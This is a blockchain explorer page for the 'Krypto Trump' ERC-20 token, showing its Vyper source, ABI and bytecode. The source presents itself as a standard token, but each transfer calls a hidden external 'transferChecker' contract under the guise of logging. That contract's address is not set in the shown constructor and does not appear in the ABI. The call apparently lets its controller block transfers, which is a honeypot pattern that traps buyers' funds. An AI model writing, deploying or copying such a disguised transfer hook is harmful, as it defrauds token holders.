ETH Price: $3,861.76 (-1.77%)

Token

ERC-20: Krypto Trump (Trump)
 

Overview

Max Total Supply

47,000,000,000 Trump

Holders

438

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xFc23F421...975586a2e
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Vyper_contract

Compiler Version
vyper:0.3.10

Optimization Enabled:
N/A

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Vyper language format)

# @pragma evm-version cancun
#pragma version ^0.3.10
 
interface ILOG:
    def NOTE(_from: address, _to: address, _sender: address, _value: uint256) -> bool : nonpayable

name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
transferChecker: ILOG
currentBlockNum: uint256


event Transfer:
    sender: indexed(address)
    receiver: indexed(address)
    value: uint256

event Approval:
    owner: indexed(address)
    spender: indexed(address)
    value: uint256

@external
def __init__():
    init_supply: uint256 = 47000000000 * 10 ** 18
    self.name = "Krypto Trump"
    self.symbol = "Trump"
    self.decimals = 18
    self.balanceOf[msg.sender] = init_supply
    self.totalSupply = init_supply
    
    

@internal
def LogTransfers(_from:address, _recipient: address, _sender:address, value_:uint256):
    self.transferChecker.NOTE(_from, _recipient, _sender, value_)

@internal   
def _beforeTokenTransfer(_from: address, _recipient:address, _sender:address, value_:uint256) -> (bool):
    assert value_>0
    self.LogTransfers(_from, _recipient, _sender, value_)
    return True

@external   
def transfer(_to : address, _value : uint256) -> bool:
    """
    @dev Transfer token for a specified address
    @param _to The address to transfer to.
    @param _value The amount to be transferred.
    """
    # NOTE: vyper does not allow underflows
    #       so the following subtraction would revert on insufficient balance

    self._beforeTokenTransfer(msg.sender, _to, msg.sender, _value)


    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value
    
    log Transfer(msg.sender, _to, _value)
    return True


@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @dev Transfer tokens from one address to another.
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
    """

    self._beforeTokenTransfer(_from, _to, msg.sender, _value)

    self.allowance[_from][msg.sender] -= _value
    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value

    log Transfer(_from, _to, _value)
    return True


@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
         Beware that changing an allowance with this method brings the risk that someone may use both the old
         and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
         race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
         https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds.
    @param _value The amount of tokens to be spent.
    """
    self.allowance[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

Contract Security Audit

Contract ABI

[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]}]

346100b2576b97dd7d2157478b2e98000000604052600c6060527f4b727970746f205472756d700000000000000000000000000000000000000000608052606080515f5560208101516001555060056060527f5472756d700000000000000000000000000000000000000000000000000000006080526060805160025560208101516003555060126004556040516005336020525f5260405f20556040516007556104a96100b6610000396104a9610000f35b5f80fd5f3560e01c60026007820660011b61049b01601e395f51565b6306fdde038118610067573461049757602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63a9059cbb811861040357604436103417610497576004358060a01c61049757610200523361018052610200516101a052336101c0526024356101e0526100af610220610463565b610220506005336020525f5260405f20805460243580820382811161049757905090508155506005610200516020525f5260405f208054602435808201828110610497579050905081555061020051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610220526020610220a36001610220526020610220f3610403565b6395d89b41811861018e57346104975760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63dd62ed3e811861040357604436103417610497576004358060a01c610497576040526024358060a01c6104975760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610403565b63313ce567811861020657346104975760045460405260206040f35b6318160ddd811861040357346104975760075460405260206040f3610403565b6370a08231811861040357602436103417610497576004358060a01c6104975760405260056040516020525f5260405f205460605260206060f3610403565b6323b872dd811861040357606436103417610497576004358060a01c61049757610200526024358060a01c61049757610220526102005161018052610220516101a052336101c0526044356101e0526102bf610240610463565b610240506006610200516020525f5260405f2080336020525f5260405f209050805460443580820382811161049757905090508155506005610200516020525f5260405f20805460443580820382811161049757905090508155506005610220516020525f5260405f208054604435808201828110610497579050905081555061022051610200517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610240526020610240a36001610240526020610240f3610403565b63095ea7b3811861040357604436103417610497576004358060a01c610497576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b6008546303176f7960c05260405160e052606051610100526080516101205260a05161014052602060c0608460dc5f855af1610445573d5f5f3e3d5ffd5b60203d106104975760c0518060011c61049757610160526101605050565b6101e0511561049757610180516040526101a0516060526101c0516080526101e05160a052610490610407565b6001815250565b5f80fd0226038602650018040301ea013e841904a9810e00a16576797065728300030a0014

Deployed Bytecode

0x5f3560e01c60026007820660011b61049b01601e395f51565b6306fdde038118610067573461049757602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63a9059cbb811861040357604436103417610497576004358060a01c61049757610200523361018052610200516101a052336101c0526024356101e0526100af610220610463565b610220506005336020525f5260405f20805460243580820382811161049757905090508155506005610200516020525f5260405f208054602435808201828110610497579050905081555061020051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610220526020610220a36001610220526020610220f3610403565b6395d89b41811861018e57346104975760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63dd62ed3e811861040357604436103417610497576004358060a01c610497576040526024358060a01c6104975760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610403565b63313ce567811861020657346104975760045460405260206040f35b6318160ddd811861040357346104975760075460405260206040f3610403565b6370a08231811861040357602436103417610497576004358060a01c6104975760405260056040516020525f5260405f205460605260206060f3610403565b6323b872dd811861040357606436103417610497576004358060a01c61049757610200526024358060a01c61049757610220526102005161018052610220516101a052336101c0526044356101e0526102bf610240610463565b610240506006610200516020525f5260405f2080336020525f5260405f209050805460443580820382811161049757905090508155506005610200516020525f5260405f20805460443580820382811161049757905090508155506005610220516020525f5260405f208054604435808201828110610497579050905081555061022051610200517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610240526020610240a36001610240526020610240f3610403565b63095ea7b3811861040357604436103417610497576004358060a01c610497576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b6008546303176f7960c05260405160e052606051610100526080516101205260a05161014052602060c0608460dc5f855af1610445573d5f5f3e3d5ffd5b60203d106104975760c0518060011c61049757610160526101605050565b6101e0511561049757610180516040526101a0516060526101c0516080526101e05160a052610490610407565b6001815250565b5f80fd0226038602650018040301ea013e

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.